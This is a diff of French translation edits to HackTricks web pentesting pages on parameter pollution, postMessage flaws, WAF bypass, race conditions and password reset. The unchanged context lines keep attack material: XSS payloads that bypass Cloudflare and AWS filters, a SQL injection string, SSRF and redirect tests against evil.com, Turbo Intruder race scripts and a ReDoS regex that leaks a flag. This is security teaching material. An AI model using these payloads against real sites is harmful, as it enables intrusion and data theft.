GET /posts?q[user_reset_password_token_start]=1
...
```
En forçant et potentiellement en établissant des relations, il était possible de leak plus de données d'une base de données.
En forçant et potentiellement en utilisant des relations, il était possible de leak plus de données d'une base de données.
## Références

14
src/pentesting-web/parameter-pollution.md
View File

@ -20,7 +20,7 @@ En insérant un paramètre `from` supplémentaire :
La transaction peut être incorrectement facturée à `accountC` au lieu de `accountA`, montrant le potentiel de HPP pour manipuler des transactions ou d'autres fonctionnalités telles que les réinitialisations de mot de passe, les paramètres 2FA ou les demandes de clé API.
#### **Analyse des Paramètres Spécifiques à la Technologie**
#### **Analyse des Paramètres Spécifique à la Technologie**
- La manière dont les paramètres sont analysés et priorisés dépend de la technologie web sous-jacente, affectant la façon dont HPP peut être exploité.
- Des outils comme [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) aident à identifier ces technologies et leurs comportements d'analyse.
@ -93,28 +93,28 @@ Les résultats ont été tirés de [https://medium.com/@0xAwali/http-parameter-p
<figure><img src="../images/image (1260).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg</a></p></figcaption></figure>
1. NOM pas reconnu name\[].
1. Nom\[] non reconnu.
2. Préférer le premier paramètre.
### Python 3.12.6 ET Werkzeug 3.0.4 ET Flask 3.0.3 <a href="#b853" id="b853"></a>
<figure><img src="../images/image (1261).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg</a></p></figcaption></figure>
1. NOM pas reconnu name\[].
1. Nom\[] non reconnu.
2. Préférer le premier paramètre.
### Python 3.12.6 ET Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
<figure><img src="../images/image (1262).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg</a></p></figcaption></figure>
1. NOM pas reconnu name\[].
1. Nom\[] non reconnu.
2. Préférer le dernier paramètre.
### Python 3.12.6 ET Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
<figure><img src="../images/image (1263).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg</a></p></figcaption></figure>
1. NOM pas reconnu name\[].
1. Nom\[] non reconnu.
2. Préférer le dernier paramètre.
## Injection JSON
@ -125,7 +125,7 @@ obj = {"test": "user", "test": "admin"}
```
L'interface utilisateur pourrait croire la première occurrence tandis que le backend utilise la deuxième occurrence de la clé.
### Collision de clés : Troncature de caractères et commentaires
### Collision de Clé : Troncature de Caractères et Commentaires
Certains caractères ne seront pas correctement interprétés par l'interface utilisateur, mais le backend les interprétera et utilisera ces clés, cela pourrait être utile pour **contourner certaines restrictions** :
```json
@ -134,7 +134,7 @@ Certains caractères ne seront pas correctement interprétés par l'interface ut
{"test": 1, "test"": 2}
{"test": 1, "te\st": 2}
```
Notez comment dans ces cas, le front end pourrait penser que `test == 1` et le backend pensera que `test == 2`.
Notez comment dans ces cas, le front-end pourrait penser que `test == 1` et le back-end pensera que `test == 2`.
Cela peut également être utilisé pour contourner les restrictions de valeur telles que :
```json

4
src/pentesting-web/phone-number-injections.md
View File

@ -2,13 +2,13 @@
{{#include ../banners/hacktricks-training.md}}
Il est possible **d'ajouter des chaînes à la fin du numéro de téléphone** qui pourraient être utilisées pour exploiter des injections courantes (XSS, SQLi, SSRF...) ou même pour contourner des protections :
Il est possible d'**ajouter des chaînes à la fin du numéro de téléphone** qui pourraient être utilisées pour exploiter des injections courantes (XSS, SQLi, SSRF...) ou même pour contourner des protections :
<figure><img src="../images/image (461).png" alt="https://www.youtube.com/watch?app=desktop\&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
<figure><img src="../images/image (941).png" alt="https://www.youtube.com/watch?app=desktop\&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
**Le contournement OTP / Bruteforce** fonctionnerait comme ceci :
**Bypass OTP / Bruteforce** fonctionnerait comme ceci :
<figure><img src="../images/image (116).png" alt="https://www.youtube.com/watch?app=desktop\&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>

8
src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md
View File

@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
L'objectif de ces PoCs et Polygloths est de donner au testeur un **résumé** rapide des vulnérabilités qu'il peut exploiter si son **entrée est d'une manière ou d'une autre reflétée dans la réponse**.
L'objectif de ces PoCs et Polygloths est de donner au testeur un **résumé** rapide des vulnérabilités qu'il peut exploiter si son **entrée est d'une manière ou d'une autre réfléchie dans la réponse**.
> [!WARNING]
> Cette **cheatsheet ne propose pas une liste exhaustive de tests pour chaque vulnérabilité**, juste quelques tests de base. Si vous recherchez des tests plus complets, accédez à chaque vulnérabilité proposée.
> [!CAUTION]
> Vous **ne trouverez pas d'injections dépendantes du Content-Type comme XXE**, car généralement vous les essayez vous-même si vous trouvez une requête envoyant des données xml. Vous **ne trouverez pas non plus d'injections de base de données** ici car même si certains contenus peuvent être reflétés, cela dépend fortement de la technologie et de la structure de la base de données backend.
> Vous **ne trouverez pas d'injections dépendantes du Content-Type comme XXE**, car généralement vous les essayerez vous-même si vous trouvez une requête envoyant des données xml. Vous **ne trouverez pas non plus d'injections de base de données** ici, car même si certains contenus peuvent être réfléchis, cela dépend fortement de la technologie et de la structure de la base de données backend.
## Liste des Polygloths
```python
@ -109,9 +109,9 @@ C:/windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
```
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
## [Redirection Ouverte](../open-redirect.md) / [Usurpation de Requête Côté Serveur](../ssrf-server-side-request-forgery/)
### Tests de base
### Tests de Base
```bash
www.whitelisted.com
www.whitelisted.com.evil.com

6
src/pentesting-web/postmessage-vulnerabilities/README.md
View File

@ -89,7 +89,7 @@ Pour **trouver des écouteurs d'événements** sur la page actuelle, vous pouvez
### Contournements de vérification d'origine
- L'attribut **`event.isTrusted`** est considéré comme sécurisé car il renvoie `True` uniquement pour les événements générés par de véritables actions de l'utilisateur. Bien qu'il soit difficile à contourner s'il est correctement implémenté, son importance dans les vérifications de sécurité est notable.
- L'utilisation de **`indexOf()`** pour la validation d'origine dans les événements PostMessage peut être susceptible de contournement. Un exemple illustrant cette vulnérabilité est :
- L'utilisation de **`indexOf()`** pour la validation d'origine dans les événements PostMessage peut être sujette à contournement. Un exemple illustrant cette vulnérabilité est :
```javascript
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
@ -214,9 +214,9 @@ setTimeout(get_code, 2000)
```
Pour **plus d'informations** :
- Lien vers la page sur [**prototype pollution**](../deserialization/nodejs-proto-prototype-pollution/)
- Lien vers la page sur [**la pollution de prototype**](../deserialization/nodejs-proto-prototype-pollution/)
- Lien vers la page sur [**XSS**](../xss-cross-site-scripting/)
- Lien vers la page sur [**client side prototype pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
- Lien vers la page sur [**la pollution de prototype côté client à XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
## Références

4
src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md
View File

@ -1,4 +1,4 @@
# Bloquer la page principale pour voler le postmessage
# Blocage de la page principale pour voler le postmessage
{{#include ../../banners/hacktricks-training.md}}
@ -12,7 +12,7 @@ Cependant, cette communication postmessage est **vulnérable à XSS** (l'**ifram
Par conséquent, l'objectif de l'attaquant est de **laisser la page parente créer l'iframe**, mais **avant** de laisser la **page parente** **envoyer** les données sensibles (**flag**), **la garder occupée** et envoyer le **payload à l'iframe**. Pendant que la **page parente est occupée**, l'**iframe exécute le payload** qui sera un JS qui écoutera le **message postmessage de la page parente et volera le flag**.\
Enfin, l'iframe a exécuté le payload et la page parente cesse d'être occupée, donc elle envoie le flag et le payload le vole.
Mais comment pourriez-vous faire en sorte que la page parente soit **occupée juste après avoir généré l'iframe et juste pendant qu'elle attend que l'iframe soit prête à envoyer les données sensibles ?** Fondamentalement, vous devez trouver une **action** **async** que vous pourriez faire exécuter à la page parente. Par exemple, dans ce défi, la page parente était **à l'écoute** des **postmessages** comme ceci :
Mais comment pourriez-vous faire en sorte que la page parente soit **occupée juste après avoir généré l'iframe et juste pendant qu'elle attend que l'iframe soit prête à envoyer les données sensibles ?** Fondamentalement, vous devez trouver une **action** **async** que vous pourriez faire exécuter à la page parente. Par exemple, dans ce défi, la page parente **écoutait** les **postmessages** comme ceci :
```javascript
window.addEventListener("message", (e) => {
if (e.data == "blob loaded") {

2
src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
View File

@ -34,7 +34,7 @@ Ainsi, ouvrir un **popup** depuis une **origine null** fera que **`window.origin
Par conséquent, pour ce défi, on pourrait **créer** une **iframe**, **ouvrir un popup** vers la page avec le gestionnaire de code XSS vulnérable (`/iframe.php`), comme `window.origin === e.origin` parce que les deux sont `null`, il est possible d'**envoyer un payload qui exploitera le XSS**.
Ce **payload** obtiendra l'**identifiant** et enverra un **XSS** **de retour à la page principale** (la page qui a ouvert le popup), **qui** va **changer de localisation** vers le **vulnérable** `/iframe.php`. Comme l'identifiant est connu, il n'importe pas que la condition `window.origin === e.origin` ne soit pas satisfaite (rappelez-vous, l'origine est le **popup** de l'iframe qui a **l'origine** **`null`**) parce que `data.identifier === identifier`. Ensuite, le **XSS se déclenchera à nouveau**, cette fois dans l'origine correcte.
Ce **payload** obtiendra l'**identifiant** et enverra un **XSS** **de retour à la page principale** (la page qui a ouvert le popup), **qui** va **changer de localisation** vers le **vulnérable** `/iframe.php`. Comme l'identifiant est connu, il n'importe pas que la condition `window.origin === e.origin` ne soit pas satisfaite (rappelez-vous, l'origine est le **popup** de l'iframe qui a **l'origine** **`null`**) parce que `data.identifier === identifier`. Ensuite, le **XSS se déclenchera à nouveau**, cette fois dans la bonne origine.
```html
<body>
<script>

10
src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md
View File

@ -1,12 +1,12 @@
# Contournement de SOP avec des Iframes - 2
# Bypassing SOP with Iframes - 2
{{#include ../../banners/hacktricks-training.md}}
## Iframes dans SOP-2
## Iframes in SOP-2
Dans la [**solution**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) pour ce [**défi**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic_) propose une méthode similaire à la section précédente. Vérifions cela.
Dans la [**solution**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) pour ce [**challenge**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic_) propose une méthode similaire à la section précédente. Vérifions cela.
Dans ce défi, l'attaquant doit **contourner** ceci :
Dans ce challenge, l'attaquant doit **bypasser** cela :
```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
@ -16,7 +16,7 @@ La façon de contourner la **première vérification** est de rendre **`window.c
- **`window.calc.contentWindow`** est en fait **`document.getElementById("calc")`**. Vous pouvez écraser **`document.getElementById`** avec **`<img name=getElementById />`** (notez que l'API Sanitizer -[ici](https://wicg.github.io/sanitizer-api/#dom-clobbering)- n'est pas configurée pour protéger contre les attaques de clobbering DOM dans son état par défaut).
- Par conséquent, vous pouvez écraser **`document.getElementById("calc")`** avec **`<img name=getElementById /><div id=calc></div>`**. Ensuite, **`window.calc`** sera **`undefined`**.
- Maintenant, nous avons besoin que **`e.source`** soit **`undefined`** ou **`null`** (car `==` est utilisé au lieu de `===`, **`null == undefined`** est **`True`**). Obtenir cela est "facile". Si vous créez un **iframe** et **envoyez** un **postMessage** depuis celui-ci et que vous **supprimez** immédiatement l'iframe, **`e.origin`** va être **`null`**. Vérifiez le code suivant
- Maintenant, nous avons besoin que **`e.source`** soit **`undefined`** ou **`null`** (parce que `==` est utilisé au lieu de `===`, **`null == undefined`** est **`True`**). Obtenir cela est "facile". Si vous créez un **iframe** et **envoyez** un **postMessage** depuis celui-ci et que vous **supprimez** immédiatement l'iframe, **`e.origin`** va être **`null`**. Vérifiez le code suivant
```javascript
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)

2
src/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
View File

@ -8,7 +8,7 @@ Selon [**cet article**](https://blog.geekycat.in/google-vrp-hijacking-your-scree
Par exemple, si abc.com a efg.com comme iframe et que abc.com n'a pas d'en-tête X-Frame, je pourrais changer efg.com en evil.com cross origin en utilisant **`frames.location`**.
Ceci est particulièrement utile dans les **postMessages** car si une page envoie des données sensibles en utilisant un **wildcard** comme `windowRef.postmessage("","*")`, il est possible de **changer l'emplacement de l'iframe associée (enfant ou parent) vers un emplacement contrôlé par un attaquant** et de voler ces données.
Ceci est particulièrement utile dans **postMessages** car si une page envoie des données sensibles en utilisant un **wildcard** comme `windowRef.postmessage("","*")`, il est possible de **changer l'emplacement de l'iframe associée (enfant ou parent) vers un emplacement contrôlé par un attaquant** et de voler ces données.
```html
<html>
<iframe src="https://docs.google.com/document/ID" />

20
src/pentesting-web/proxy-waf-protections-bypass.md
View File

@ -42,12 +42,12 @@ Pour éviter les contournements, Nginx effectue une normalisation des chemins av
### **Spring Boot**
| Version Nginx | **Caractères de contournement Spring Boot** |
| ------------- | -------------------------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
| ------------- | ------------------------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
### **PHP-FPM**
@ -75,7 +75,7 @@ deny all;
### Confusion de chemin
[**Dans cet article**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) il est expliqué que ModSecurity v3 (jusqu'à 3.0.12), **a mal implémenté la variable `REQUEST_FILENAME`** qui était censée contenir le chemin accédé (jusqu'au début des paramètres). Cela est dû au fait qu'il effectuait un décodage d'URL pour obtenir le chemin.\
Par conséquent, une requête comme `http://example.com/foo%3f';alert(1);foo=` dans mod security supposera que le chemin est juste `/foo` parce que `%3f` est transformé en `?` terminant le chemin URL, mais en réalité le chemin que le serveur recevra sera `/foo%3f';alert(1);foo=`.
Par conséquent, une requête comme `http://example.com/foo%3f';alert(1);foo=` dans mod security supposera que le chemin est juste `/foo` parce que `%3f` est transformé en `?` terminant le chemin de l'URL, mais en réalité, le chemin que le serveur recevra sera `/foo%3f';alert(1);foo=`.
Les variables `REQUEST_BASENAME` et `PATH_INFO` ont également été affectées par ce bug.
@ -133,7 +133,7 @@ Jusqu'à 128 Ko.
```
### Compatibilité Unicode <a href="#unicode-compatability" id="unicode-compatability"></a>
Selon l'implémentation de la normalisation Unicode (plus d'infos [ici](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), les caractères qui partagent la compatibilité Unicode peuvent être capables de contourner le WAF et de s'exécuter comme le payload prévu. Des caractères compatibles peuvent être trouvés [ici](https://www.compart.com/en/unicode).
Selon l'implémentation de la normalisation Unicode (plus d'infos [ici](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), les caractères qui partagent la compatibilité Unicode peuvent être capables de contourner le WAF et de s'exécuter comme le payload prévu. Les caractères compatibles peuvent être trouvés [ici](https://www.compart.com/en/unicode).
#### Exemple <a href="#example" id="example"></a>
```bash
@ -158,7 +158,7 @@ Dans le post, les contournements finaux suivants sont suggérés :
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
Il est également mentionné qu'en fonction de **comment certains WAF comprennent le contexte** de l'entrée utilisateur, il pourrait être possible d'en abuser. L'exemple proposé dans le blog est qu'Akamai permet(tait) de mettre n'importe quoi entre `/*` et `*/` (potentiellement parce que cela est couramment utilisé comme commentaires). Par conséquent, une injection SQL telle que `/*'or sleep(5)-- -*/` ne sera pas détectée et sera valide car `/*` est la chaîne de départ de l'injection et `*/` est commenté.
Il est également mentionné qu'en fonction de **comment certains WAF comprennent le contexte** de l'entrée utilisateur, il pourrait être possible d'en abuser. L'exemple proposé dans le blog est qu'Akamai permettait de mettre n'importe quoi entre `/*` et `*/` (potentiellement parce que cela est couramment utilisé comme commentaires). Par conséquent, une injection SQL telle que `/*'or sleep(5)-- -*/` ne sera pas détectée et sera valide car `/*` est la chaîne de départ de l'injection et `*/` est commenté.
Ces types de problèmes de contexte peuvent également être utilisés pour **abuser d'autres vulnérabilités que celle attendue** d'être exploitée par le WAF (par exemple, cela pourrait également être utilisé pour exploiter un XSS).
@ -201,7 +201,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
```
## Outils
- [**nowafpls**](https://github.com/assetnote/nowafpls) : Plugin Burp pour ajouter des données inutiles aux requêtes afin de contourner les WAF par la longueur
- [**nowafpls**](https://github.com/assetnote/nowafpls): Plugin Burp pour ajouter des données inutiles aux requêtes afin de contourner les WAF par la longueur
## Références

16
src/pentesting-web/race-condition.md
View File

@ -20,7 +20,7 @@ Ici, vous pouvez trouver quelques techniques pour Synchroniser les Requêtes :
1. Envoyer les en-têtes et les données du corps moins le dernier octet sans terminer le flux.
2. Faire une pause de 100ms après l'envoi initial.
3. Désactiver TCP_NODELAY pour utiliser l'algorithme de Nagle pour regrouper les derniers paquets.
3. Désactiver TCP_NODELAY pour utiliser l'algorithme de Nagle pour le regroupement des derniers paquets.
4. Pinger pour réchauffer la connexion.
L'envoi subséquent des paquets retenus devrait aboutir à leur arrivée dans un seul paquet, vérifiable via Wireshark. Cette méthode ne s'applique pas aux fichiers statiques, qui ne sont généralement pas impliqués dans les attaques RC.
@ -50,9 +50,9 @@ for password in passwords:
engine.queue(target.req, password, gate='race1')
```
> [!WARNING]
> Si le web ne prend pas en charge HTTP2 (seulement HTTP1.1), utilisez `Engine.THREADED` ou `Engine.BURP` au lieu de `Engine.BURP2`.
> Si le web ne prend pas en charge HTTP2 (uniquement HTTP1.1), utilisez `Engine.THREADED` ou `Engine.BURP` au lieu de `Engine.BURP2`.
- **Tubo Intruder - attaque à paquet unique HTTP2 (Plusieurs points de terminaison)** : Dans le cas où vous devez envoyer une requête à 1 point de terminaison et ensuite plusieurs à d'autres points de terminaison pour déclencher le RCE, vous pouvez modifier le script `race-single-packet-attack.py` avec quelque chose comme :
- **Tubo Intruder - attaque à paquet unique HTTP2 (Plusieurs points de terminaison)** : Dans le cas où vous devez envoyer une requête à 1 point de terminaison puis plusieurs à d'autres points de terminaison pour déclencher le RCE, vous pouvez modifier le script `race-single-packet-attack.py` avec quelque chose comme :
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@ -219,7 +219,7 @@ response = requests.get(url, verify=False)
```
### Amélioration de l'attaque par paquet unique
Dans la recherche originale, il est expliqué que cette attaque a une limite de 1 500 octets. Cependant, dans [**ce post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), il a été expliqué comment il est possible d'étendre la limitation de 1 500 octets de l'attaque par paquet unique à la **limitation de fenêtre de 65 535 B de TCP en utilisant la fragmentation au niveau IP** (en divisant un paquet unique en plusieurs paquets IP) et en les envoyant dans un ordre différent, ce qui a permis d'empêcher le réassemblage du paquet jusqu'à ce que tous les fragments atteignent le serveur. Cette technique a permis au chercheur d'envoyer 10 000 requêtes en environ 166 ms.&#x20;
Dans la recherche originale, il est expliqué que cette attaque a une limite de 1 500 octets. Cependant, dans [**ce post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), il a été expliqué comment il est possible d'étendre la limitation de 1 500 octets de l'attaque par paquet unique à la **limitation de fenêtre de 65 535 B de TCP en utilisant la fragmentation au niveau IP** (en divisant un seul paquet en plusieurs paquets IP) et en les envoyant dans un ordre différent, ce qui a permis d'empêcher le réassemblage du paquet jusqu'à ce que tous les fragments atteignent le serveur. Cette technique a permis au chercheur d'envoyer 10 000 requêtes en environ 166 ms.&#x20;
Notez que bien que cette amélioration rende l'attaque plus fiable dans les RC qui nécessitent que des centaines/milliers de paquets arrivent en même temps, elle peut également avoir certaines limitations logicielles. Certains serveurs HTTP populaires comme Apache, Nginx et Go ont un paramètre strict `SETTINGS_MAX_CONCURRENT_STREAMS` de 100, 128 et 250. Cependant, d'autres comme NodeJS et nghttp2 l'ont illimité.\
Cela signifie essentiellement qu'Apache ne considérera que 100 connexions HTTP à partir d'une seule connexion TCP (limitant cette attaque RC).
@ -231,7 +231,7 @@ Vous pouvez trouver quelques exemples utilisant cette technique dans le dépôt
Avant la recherche précédente, voici quelques charges utiles utilisées qui essayaient simplement d'envoyer les paquets aussi rapidement que possible pour provoquer une RC.
- **Répéteur :** Consultez les exemples de la section précédente.
- **Intrus :** Envoyez la **requête** à **Intrus**, définissez le **nombre de threads** à **30** dans le **menu Options** et sélectionnez comme charge utile **Null payloads** et générez **30.**
- **Intrus :** Envoyez la **requête** à **Intrus**, définissez le **nombre de threads** à **30** dans le **menu Options** et sélectionnez comme charge utile **Charges utiles nulles** et générez **30.**
- **Turbo Intrus**
```python
def queueRequests(target, wordlists):
@ -313,7 +313,7 @@ La précision dans le timing des requêtes peut révéler des vulnérabilités,
**Pour exploiter :**
- Utilisez un timing précis, comme une attaque par paquet unique, pour effectuer des demandes de réinitialisation de mot de passe simultanées. Des jetons identiques indiquent une vulnérabilité.
- Utilisez un timing précis, comme une attaque par paquet unique, pour effectuer des requêtes de réinitialisation de mot de passe simultanées. Des jetons identiques indiquent une vulnérabilité.
**Exemple :**
@ -339,7 +339,7 @@ Selon [**cette recherche**](https://portswigger.net/research/smashing-the-state-
### États de base de données cachés / Contournement de confirmation
Si **2 écritures différentes** sont utilisées pour **ajouter** **des informations** dans une **base de données**, il y a une petite portion de temps où **seules les premières données ont été écrites** dans la base de données. Par exemple, lors de la création d'un utilisateur, le **nom d'utilisateur** et le **mot de passe** peuvent être **écrits** et **ensuite le jeton** pour confirmer le compte nouvellement créé est écrit. Cela signifie que pendant un court laps de temps, le **jeton pour confirmer un compte est nul**.
Si **2 écritures différentes** sont utilisées pour **ajouter** **des informations** dans une **base de données**, il y a une petite portion de temps où **seules les premières données ont été écrites** dans la base de données. Par exemple, lors de la création d'un utilisateur, le **nom d'utilisateur** et le **mot de passe** peuvent être **écrits** et **ensuite le jeton** pour confirmer le compte nouvellement créé est écrit. Cela signifie que pendant un court instant, le **jeton pour confirmer un compte est nul**.
Par conséquent, **enregistrer un compte et envoyer plusieurs requêtes avec un jeton vide** (`token=` ou `token[]=` ou toute autre variation) pour confirmer le compte immédiatement pourrait permettre de c**onfirmer un compte** où vous ne contrôlez pas l'e-mail.
@ -347,7 +347,7 @@ Par conséquent, **enregistrer un compte et envoyer plusieurs requêtes avec un
### Contournement de 2FA
Le pseudo-code suivant est vulnérable à une condition de course car pendant un très court laps de temps, le **2FA n'est pas appliqué** pendant la création de la session :
Le pseudo-code suivant est vulnérable à une condition de course car pendant un très court instant, le **2FA n'est pas appliqué** pendant que la session est créée :
```python
session['userid'] = user.userid
if user.mfa_enabled:

2
src/pentesting-web/rate-limit-bypass.md
View File

@ -10,7 +10,7 @@ Des tentatives devraient être faites pour effectuer des attaques par force brut
### Incorporation de Caractères Vides dans le Code ou les Paramètres
L'insertion de bytes vides comme `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` dans le code ou les paramètres peut être une stratégie utile. Par exemple, ajuster un paramètre à `code=1234%0a` permet d'étendre les tentatives à travers des variations d'entrée, comme l'ajout de caractères de nouvelle ligne à une adresse e-mail pour contourner les limitations de tentatives.
L'insertion de bytes vides comme `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` dans le code ou les paramètres peut être une stratégie utile. Par exemple, ajuster un paramètre à `code=1234%0a` permet d'étendre les tentatives à travers des variations d'entrée, comme l'ajout de caractères de nouvelle ligne à une adresse e-mail pour contourner les limitations de tentative.
### Manipulation de l'Origine IP via les En-têtes

2
src/pentesting-web/registration-vulnerabilities.md
View File

@ -103,7 +103,7 @@ Essayez de déterminer si le jeton expire ou s'il est toujours le même, dans ce
- Horodatage
- ID utilisateur
- Email de l'utilisateur
- Prénom et nom
- Prénom et nom de famille
- Date de naissance
- Cryptographie
- Numéro uniquement

4
src/pentesting-web/regular-expression-denial-of-service-redos.md
View File

@ -4,7 +4,7 @@
# Regular Expression Denial of Service (ReDoS)
Un **Regular Expression Denial of Service (ReDoS)** se produit lorsque quelqu'un profite des faiblesses dans le fonctionnement des expressions régulières (un moyen de rechercher et de faire correspondre des motifs dans le texte). Parfois, lorsque des expressions régulières sont utilisées, elles peuvent devenir très lentes, surtout si le morceau de texte avec lequel elles travaillent devient plus grand. Cette lenteur peut devenir si mauvaise qu'elle augmente très rapidement même avec de petites augmentations de la taille du texte. Les attaquants peuvent utiliser ce problème pour faire en sorte qu'un programme utilisant des expressions régulières cesse de fonctionner correctement pendant longtemps.
Un **Regular Expression Denial of Service (ReDoS)** se produit lorsque quelqu'un profite des faiblesses dans le fonctionnement des expressions régulières (un moyen de rechercher et de faire correspondre des motifs dans du texte). Parfois, lorsque des expressions régulières sont utilisées, elles peuvent devenir très lentes, surtout si le morceau de texte avec lequel elles travaillent devient plus grand. Cette lenteur peut devenir si mauvaise qu'elle augmente très rapidement même avec de petites augmentations de la taille du texte. Les attaquants peuvent utiliser ce problème pour faire en sorte qu'un programme utilisant des expressions régulières cesse de fonctionner correctement pendant longtemps.
## The Problematic Regex Naïve Algorithm
@ -26,7 +26,7 @@ Tous ceux-ci sont vulnérables à l'entrée `aaaaaaaaaaaaaaaaaaaaaaaa!`.
### String Exfiltration via ReDoS
Dans un CTF (ou bug bounty), peut-être que vous **contrôlez la Regex avec laquelle une information sensible (le drapeau) est correspondue**. Alors, il pourrait être utile de faire **geler la page (timeout ou temps de traitement plus long)** si la **Regex correspond** et **pas si elle ne correspond pas**. De cette façon, vous pourrez **exfiltrer** la chaîne **caractère par caractère** :
Dans un CTF (ou bug bounty), peut-être que vous **contrôlez l'expression régulière avec laquelle une information sensible (le drapeau) est correspondue**. Alors, il pourrait être utile de faire **geler la page (timeout ou temps de traitement plus long)** si la **Regex correspond** et **pas si elle ne correspond pas**. De cette façon, vous pourrez **exfiltrer** la chaîne **caractère par caractère** :
- Dans [**ce post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets), vous pouvez trouver cette règle ReDoS : `^(?=<flag>)((.*)*)*salt$`
- Exemple : `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`

6
src/pentesting-web/reset-password.md
View File

@ -91,7 +91,7 @@ POST /api/changepass
- **Référence** :
- [Prise de contrôle complète du compte via manipulation des paramètres API](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **Pas de limitation de taux : Bombardement d'emails**
## **Pas de limitation de taux : Email Bombing**
- L'absence de limitation de taux sur les demandes de réinitialisation de mot de passe peut entraîner un bombardement d'emails, submergeant l'utilisateur avec des emails de réinitialisation.
- **Étapes d'atténuation** :
@ -123,7 +123,7 @@ uuid-insecurities.md
{{#endref}}
- **Étapes d'atténuation** :
- Utilisez la version 4 de GUID pour la randomisation ou mettez en œuvre des mesures de sécurité supplémentaires pour les autres versions.
- Utilisez la version 4 de GUID pour la randomisation ou mettez en œuvre des mesures de sécurité supplémentaires pour d'autres versions.
- **Outils** : Utilisez [guidtool](https://github.com/intruder-io/guidtool) pour analyser et générer des GUID.
## **Manipulation de réponse : Remplacer une mauvaise réponse par une bonne**
@ -133,7 +133,7 @@ uuid-insecurities.md
- Mettez en œuvre des vérifications côté serveur pour garantir l'intégrité des réponses.
- Utilisez des canaux de communication sécurisés comme HTTPS pour prévenir les attaques de type homme du milieu.
- **Référence** :
- [Bug critique lors d'un événement de bug bounty en direct](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
- [Bug critique dans un événement de bug bounty en direct](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **Utilisation de jeton expiré**

8
src/pentesting-web/reverse-tab-nabbing.md
View File

@ -2,12 +2,12 @@
# Description
